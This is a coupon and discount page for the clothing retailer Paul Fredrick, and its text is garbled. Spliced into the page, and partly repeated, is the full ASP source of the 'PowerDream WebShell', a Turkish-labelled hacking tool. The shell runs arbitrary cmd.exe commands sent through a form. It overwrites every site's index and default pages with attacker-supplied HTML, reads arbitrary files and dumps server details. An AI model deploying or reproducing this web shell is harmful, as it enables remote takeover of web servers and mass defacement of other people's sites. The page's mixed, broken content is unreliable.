Paul Fredrick coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

Paul Fredrick Coupons & Offers

coupon home > Target > Wal-Mart > Target > Paul Fredrick

Free Fashion Advice & Business Dressing Articles

Online Shopping Offers

15% off $100 Orders!

Take 15% off $100 Orders with the Promo Code V9BBLS.

coupon code : V9BBLS Expires 11/30/2009

Use Coupon

Email To Friend!

15% off orders of $100 or more!

Take 15% off orders of $100 or more with the Promo Code D9DDLS.

coupon code : D9DDLS Expires 12/31/2009

Use Coupon

Email To Friend!

Deals of the Week at Paul Frederick!

Check back each wee for new great selections and great deals!

On-Going Promotion

Use Coupon

Email To Friend!

Free Shipping on $75 or more!

Get Free Shipping on $75 or more with the Promo Code V9FFLS.

coupon code : V9FFLS Expires 11/30/2009

Use Coupon

Email To Friend!

More From Paul Fredrick

Click Here for Paul Fredrick Gift Certificates! Who wouldn't love to get a Paul Frederick Gift Certificate!

Paul Fredrick Details...

Paul Fredrick Coupon Codes Instructions
During checkout, enter the coupon code in the "Promotions" field and click the "Promotions Code" button to update your total with discount. If no coupon code is presented with the offer, your discount will be given automatically at checkout.

Paul Fredrick Customer Service
1 (800) 247-1417

pfcustserv@paulfredrick.com

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>